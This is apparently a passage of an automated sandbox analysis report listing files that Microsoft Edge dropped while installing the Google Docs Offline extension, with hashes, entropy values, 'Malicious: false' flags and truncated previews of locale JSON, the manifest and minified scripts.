SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.75007656410467
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvCpOumdye:m8IEI4u8R2e
MD5:	66CA3B4324CE2F09906C7A1D16A1C10F
SHA1:	38597793E98446B853F4680F0E3F51798D93B390
SHA-256:	FBE9C4BA4B6178A2DAF160A237C1E89AB73EE89EBD4FAAB490C8B4802B4976B1
SHA-512:	66FBF9E23CA0441A2018297B9E8F9AE3545E0F4C5165E0A4805948B23ED4A695E033A501B323D54300608763936BC66220405EC703AD5CB955A787F8B92BDA12
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417632296087045
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1j9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APjgiVb
MD5:	1048F1F4D861F5C812E5BC268EB68A06
SHA1:	4C9495A3202F63FD0878086F27310DB6D3BF5BE9
SHA-256:	8B3B5B96A5D6D7C613052B4A751C6632F5F91CB0A912C96E515978999B6F43F5
SHA-512:	158CA9FC4E59568C8D04B8F6AD16FD8216EE10D8869CE1E2DEC844E52D3D3B19BD98433665FA003552E8896A2691531141EE11FEF212D8D66283D7002ECE8C76
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4979)
Category:	dropped
Size (bytes):	124665
Entropy (8bit):	5.435477782179183
Encrypted:	false
SSDEEP:	1536:WHUpZbjZSfJXFqeQkXybwv+ZXXoQqHLAKl4E6ukg4nE9QJWOaejeQLc9m+ZncTYo:YqeSZXXZKlMa+Jv/Lc9yE4NZ
MD5:	5656F8678589CF436A2E5C532A036A73
SHA1:	AF8B89F2C1596298B1652BE2B0C83EC25FFCFB21
SHA-256:	73E898C9A5EFE3A6B8C13B53880B55DD588CA09D543ECB102D965EAC32BB12D0
SHA-512:	7D2B0A2A65C607F0A7445E0AFBB31497D0D020A4A439935E49D14DE4539E555C76C03C3F60FBC78CEF300EE168EBFF4132D7B2ECB17ACEBB66DED18720C46AAA
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var p;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ha=fa(this);function r(a,b){if(b)a:{var c=ha;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (337)
Category:	dropped
Size (bytes):	338
Entropy (8bit):	4.672548006448335
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK6ALY6WgKt3:2Q8KVqb2u/Rt3OnjNkl
MD5:	C14D617E06059A9951C38413F8D3CBC4
SHA1:	1418D66BDA6097888B1467316B349DF77DDCC0DB
SHA-256:	FBD9369840EC4D8F3102CD865C5186E0C65DE80D67FBAA244CB7513BA839DE36
SHA-512:	80B14B7CC8A62F482AC5E5AB7DC9C74411FE3C9BB5675536889A552187BC10AEAD89110FF0479D37C81CE367474D9B7AF059059622B019CB17731EFC84F5284B
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;window._docs_chrome_extension_version="1.90.1";}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4982)
Category:	dropped
Size (bytes):	133385
Entropy (8bit):	5.419307384283421
Encrypted:	false
SSDEEP:	1536:YjopZb6Z/KCIGN2l/hVeOiQCmX9GupCbrJKEhOpEMHoTdGz2pl7OBnQBPieL7IAG:k2lgmXcjKmjMKphanQB7IUmUkAXm
MD5:	D47E43B89EDCE51BC01FA656962401FE
SHA1:	8CDC456964CFBCC7CA62E58D6258C8535B48D980
SHA-256:	7E2AA9557DB237EE59473F8079197E4DE851F8FADDF3575BC345CBDE6AA49DFC
SHA-512:	548B6D023154D4404567E331FFDD7A740D6144924FD489E2D7FDA4A18DB94C67BBC493B72058E92878B8D2D1A8CBE58BF4AE7C5F73D7B3BBE6909C8E78BB828F
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var p;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var fa=ea(this);function r(a,b){if(b)a:{var c=fa;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\b2f0e459-318c-476f-a4ed-769de52fbcfe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	156648
Entropy (8bit):	7.846668149244464
Encrypted:	false
SSDEEP:	3072:5TTj3gXV7obSP3uAxchhBoi+dmTfabSnVf8nik5jqfGc:5HUtoQuAx2cjsMeGiyjuGc
MD5:	DD9BF8448D3DDCFD067967F01E8BF6D7
SHA1:	D7829475B2BD6A3BAA8FABFAF39AF57C6439B35E
SHA-256:	FA2232917A5656EA4F811936561EA6B7C92B3C0004C5E08ECB97636D3AFC6F72
SHA-512:	65347DF34378C2BBB34417E2CCCFB3251A0B2412422CC190EED9DF525B6E0A9948E0295EA3C33B3AD873CE81E369E89A138AC41D6EB7229546C3269107E661DE
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........F.oD..R..OC2,.B~V.-O..2G..C....W.......v6....>^W.L.Z.^J.@V.t........R.l..:...Y=...@T......R6...v"+......EW.:.r.D.......T.V..t..f/e.K....$...-\.e9R...K.......L.....-9.A...."U.@..hOicn._Q .3.~K".0...JR.......W.Nm4m..p...(j.2Q..@.../...3.s....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!...B.z..Q..l_.........<:X..v....!..8} ..LV.....U.@k......6:A.....a".%............o.....J._.H..I.m..a........L..!LB&..\|..i...=.r.5[b.`..Z.z..?..n..<..K..O?.kU.....P].p:........}%.Z^........!..K....3h..6......U.<.p.v..+3.Si....^.......T/Rd...Y._..5....M..9R....q..)l>.g......K..%K.....D\<...g..18.nl.....@..P..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_2010829925\160d55eb-b875-4baa-bce7-1ad6a7aa74d3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7780_2010829925\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": 